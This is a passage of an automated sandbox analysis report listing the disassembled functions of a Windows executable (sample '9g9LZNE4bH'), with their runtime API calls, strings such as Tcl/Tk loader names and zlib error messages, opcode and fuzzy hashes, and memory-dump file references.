Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: cb992dc3656c9c44324079b869f89d8e090d5bf0edf12629a087b7d1aa4258d0
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: 9FE0BF51E0D60292FF157BF2785597991517F94B40FB54035D91D462A1FE2CEC8DC222

Function 00007FF78DA6ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF78DA6AA45,?,?,00000000,00007FF78DA6AAFA), ref: 00007FF78DA6AC36
GetLastError.KERNEL32(?,?,?,00007FF78DA6AA45,?,?,00000000,00007FF78DA6AAFA), ref: 00007FF78DA6AC40

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 11b825b06d2f4df90cfa4fabadceda2815e9f63f254cf8df35364a9b72fbfa8f
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 2521A711B1C64281EB9477E2B450A7E9292BF847A0FB84235D92E477C1FE6CEC4DC312

Function 00007FF78DA6BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6BF44

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: c1059818f53ec85c8e6a1c0b8f46978a3c279a8cf73f3f8bc585a32c2e71f0f4
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 5241B63290D201C7EA34BBA5B540679B7A4FB55B44FB04131D68D476D1EF2DE806CB62

Function 00007FF78DA57F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF78DA5802A

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 8334f334696440ef64ed4453da584d980c1c0ded1461c6629ef7e16216bca0a0
Instruction ID: 446cc64a2cccb539d2c3f9e237bed5d4a80ee52572a11b335388ea34dc261adc
Opcode Fuzzy Hash: 8334f334696440ef64ed4453da584d980c1c0ded1461c6629ef7e16216bca0a0
Instruction Fuzzy Hash: CE210421B0C65185FA50BAA26400BBAD660BF45BD4FFC0030EE1C47B86EE3CE849C622

Function 00007FF78DA6B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6BA32

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction ID: 2c39e7b62c8a66b456248d06f544c2e4d8643609d781c570979da2e3d2da2bd8
Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction Fuzzy Hash: C7312C22A1C642C6E6517BA5A841A7CB650BB50F94FF10535EA6D033D2EFBCEC49C732

Function 00007FF78DA699D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF78DA699FF

Part of subcall function 00007FF78DA69AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF78DA69B1D
Part of subcall function 00007FF78DA69AF8: GetProcAddress.KERNEL32 ref: 00007FF78DA69B33
Part of subcall function 00007FF78DA69AF8: FreeLibrary.KERNEL32 ref: 00007FF78DA69B5A

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: ae4fbe4126699400f074f587ad2c33b4589cc4f19af0835a33385946e8f53c77
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: FD21A331A08741CAEB64AFA4D4446FC73E0FB14718FB40A35E61D16AC5EF38D849C761

Function 00007FF78DA66004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA65F69

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 2018f3d165cfbb6e75aaeb171e427196baba683e2521475bf4e14ae6ebd5d0e4
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 0F114522A1D642C1EA617FA1B40097EE264BF45B84FF44031EB4C57A95EF7EDC44C762

Function 00007FF78DA763C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA763E7

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 649fee75d137b3dae6ac3cf5ea4774374cfbc4a93a35b9dd80ecfc624af3f2ba
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: B021AA7261CA4186D7619F18E440779B7A4FB84B54FB84234D69D476D5EF3CDC08CB11

Function 00007FF78DA6042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA60480

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 999ebc8f07484b07a83fc52c905d4b3eee2c0c8223fc55abd532e99a9a53f8a9
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: D501A521A0C74180EA14EF93A945869E691FF85FE0FB84631DE6C17BDAEE3CD845C315

Function 00007FF78DA6D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF78DA60D00,?,?,?,00007FF78DA6236A,?,?,?,?,?,00007FF78DA63B59), ref: 00007FF78DA6D6AA

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 8bf856e36d0fab902f34552de8ddf06b932d8ffd0053ef3b171e2e9ce2095c69
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: BFF03A48F1D30284FE5477B16801E7992907F54BE0FB80230DA2E852C1FE6CEC98C132

Non-executed Functions

Function 00007FF78DA576B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF78DA576C7
GetLastError.KERNEL32 ref: 00007FF78DA576D9
GetProcAddress.KERNEL32 ref: 00007FF78DA57715
GetLastError.KERNEL32 ref: 00007FF78DA57727
GetProcAddress.KERNEL32 ref: 00007FF78DA57740
GetLastError.KERNEL32 ref: 00007FF78DA57752
GetProcAddress.KERNEL32 ref: 00007FF78DA5776B
GetLastError.KERNEL32 ref: 00007FF78DA5777D
GetProcAddress.KERNEL32 ref: 00007FF78DA57799
GetLastError.KERNEL32 ref: 00007FF78DA577AB
GetProcAddress.KERNEL32 ref: 00007FF78DA577C7
GetLastError.KERNEL32 ref: 00007FF78DA577D9
GetProcAddress.KERNEL32 ref: 00007FF78DA577F5
GetLastError.KERNEL32 ref: 00007FF78DA57807
GetProcAddress.KERNEL32 ref: 00007FF78DA57823
GetLastError.KERNEL32 ref: 00007FF78DA57835
GetProcAddress.KERNEL32 ref: 00007FF78DA57851
GetLastError.KERNEL32 ref: 00007FF78DA57863

Strings

Tcl_GetString, xrefs: 00007FF78DA57A9D, 00007FF78DA57ABF
Tcl_ConditionFinalize, xrefs: 00007FF78DA5792D, 00007FF78DA5794F
Tcl_MutexFinalize, xrefs: 00007FF78DA578FF, 00007FF78DA57921
Tcl_DoOneEvent, xrefs: 00007FF78DA57761, 00007FF78DA57783
Tcl_Alloc, xrefs: 00007FF78DA57C0D, 00007FF78DA57C2F
Tcl_ThreadQueueEvent, xrefs: 00007FF78DA579B7, 00007FF78DA579D9
Tcl_ConditionNotify, xrefs: 00007FF78DA5795B, 00007FF78DA5797D
Tcl_FindExecutable, xrefs: 00007FF78DA57736, 00007FF78DA57758
Tcl_CreateObjCommand, xrefs: 00007FF78DA57A6F, 00007FF78DA57A91
Tcl_ThreadAlert, xrefs: 00007FF78DA579E5, 00007FF78DA57A07
Tcl_EvalFile, xrefs: 00007FF78DA57B83, 00007FF78DA57BA5
Tcl_CreateThread, xrefs: 00007FF78DA57819, 00007FF78DA5783B
Tcl_GetVar2, xrefs: 00007FF78DA57A13, 00007FF78DA57A35
Tcl_DeleteInterp, xrefs: 00007FF78DA577EB, 00007FF78DA5780D
Tcl_NewByteArrayObj, xrefs: 00007FF78DA57AF9, 00007FF78DA57B1B
Tcl_GetCurrentThread, xrefs: 00007FF78DA57847, 00007FF78DA57869
Tcl_NewStringObj, xrefs: 00007FF78DA57ACB, 00007FF78DA57AED
Tcl_ConditionWait, xrefs: 00007FF78DA57989, 00007FF78DA579AB
GetProcAddress, xrefs: 00007FF78DA576EF
Tcl_EvalEx, xrefs: 00007FF78DA57BB1, 00007FF78DA57BD3
Tcl_GetObjResult, xrefs: 00007FF78DA57B55, 00007FF78DA57B77
Tcl_Init, xrefs: 00007FF78DA576C0, 00007FF78DA576DF
Tcl_SetVar2Ex, xrefs: 00007FF78DA57B27, 00007FF78DA57B49
Tcl_FinalizeThread, xrefs: 00007FF78DA577BD, 00007FF78DA577DF
Tcl_Finalize, xrefs: 00007FF78DA5778F, 00007FF78DA577B1
Tcl_CreateInterp, xrefs: 00007FF78DA5770B, 00007FF78DA5772D
Tcl_Free, xrefs: 00007FF78DA57C3B, 00007FF78DA57C5D
Failed to get address for %hs, xrefs: 00007FF78DA576E8
Tcl_MutexLock, xrefs: 00007FF78DA578A3, 00007FF78DA578C5
Tcl_SetVar2, xrefs: 00007FF78DA57A41, 00007FF78DA57A63
Tcl_JoinThread, xrefs: 00007FF78DA57875, 00007FF78DA57897
Tcl_MutexUnlock, xrefs: 00007FF78DA578D1, 00007FF78DA578F3
Tk_Init, xrefs: 00007FF78DA57C69, 00007FF78DA57C8B
Tcl_EvalObjv, xrefs: 00007FF78DA57BDF, 00007FF78DA57C01
Tk_GetNumMainWindows, xrefs: 00007FF78DA57C97, 00007FF78DA57CB9

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: f17b801c66fbee25e92912b887ae592251ef3577344d60a7e9617627fd5ad745
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 9B029064A0DB0BD1EA15BB95E814DB5A2A1BF04755BF40035D8AE622A4FF3CBD4DC332

Function 00007FF78DA7411C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF78DA7416A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA747D6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7494C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA74C0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA74E2A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA75067
memcpy_s.LIBCPMT ref: 00007FF78DA75142
memcpy_s.LIBCPMT ref: 00007FF78DA751ED
memcpy_s.LIBCPMT ref: 00007FF78DA752BC

Strings

1#SNAN, xrefs: 00007FF78DA7427A
1#IND, xrefs: 00007FF78DA74257
1#QNAN, xrefs: 00007FF78DA74283
1#INF, xrefs: 00007FF78DA74293

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction ID: 859d34c7c3b65f82cf810844ee7216cab6a946e07ea4b3a0e50617935bf3eb1c
Opcode Fuzzy Hash: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction Fuzzy Hash: 2EB2D372B1C2828BE7649EA4D440BFDB7A1FB44788FB01135DA4D57A84EB78ED08CB51

Function 00007FF78DA5AD1D Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid distance too far back, xrefs: 00007FF78DA5B6E0
invalid literal/length code, xrefs: 00007FF78DA5B452
invalid distance code, xrefs: 00007FF78DA5B624
too many length or distance symbols, xrefs: 00007FF78DA5AEB6
invalid distances set, xrefs: 00007FF78DA5B210
invalid literal/lengths set, xrefs: 00007FF78DA5B1A3
invalid bit length repeat, xrefs: 00007FF78DA5B109
invalid code lengths set, xrefs: 00007FF78DA5AE9D
invalid code -- missing end-of-block, xrefs: 00007FF78DA5B136

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction ID: b3545042f8491e2ad336a503b89356b35f117bab14ae0899a5a3d5bfaac56833
Opcode Fuzzy Hash: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction Fuzzy Hash: D8520472A186A68BD7A49F15C458F7E7BB9FB44341F614138E64A83780EB3CEC48CB51

Function 00007FF78DA5D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF78DA5D1B8
RtlCaptureContext.KERNEL32 ref: 00007FF78DA5D1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF78DA5D1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF78DA5D240
IsDebuggerPresent.KERNEL32 ref: 00007FF78DA5D294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF78DA5D2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF78DA5D2BC

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: f1bd1f9af1b8c3dde052cdfff72e4ac990ab01f35945052f3e0611e1883df8a3
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 69311072609B8186EB60AF60E8507FEB374FB84748F64443ADA4D47B95EF38D948C721

Function 00007FF78DA75C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF78DA75CB5

Part of subcall function 00007FF78DA75608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7561C

Part of subcall function 00007FF78DA6A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9CE
Part of subcall function 00007FF78DA6A9B8: GetLastError.KERNEL32(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9D8

Part of subcall function 00007FF78DA6A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF78DA6A94F,?,?,?,?,?,00007FF78DA6A83A), ref: 00007FF78DA6A979
Part of subcall function 00007FF78DA6A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF78DA6A94F,?,?,?,?,?,00007FF78DA6A83A), ref: 00007FF78DA6A99E

_get_daylight.LIBCMT ref: 00007FF78DA75CA4

Part of subcall function 00007FF78DA75668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7567C

_get_daylight.LIBCMT ref: 00007FF78DA75F1A
_get_daylight.LIBCMT ref: 00007FF78DA75F2B
_get_daylight.LIBCMT ref: 00007FF78DA75F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF78DA7617C), ref: 00007FF78DA75F63

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
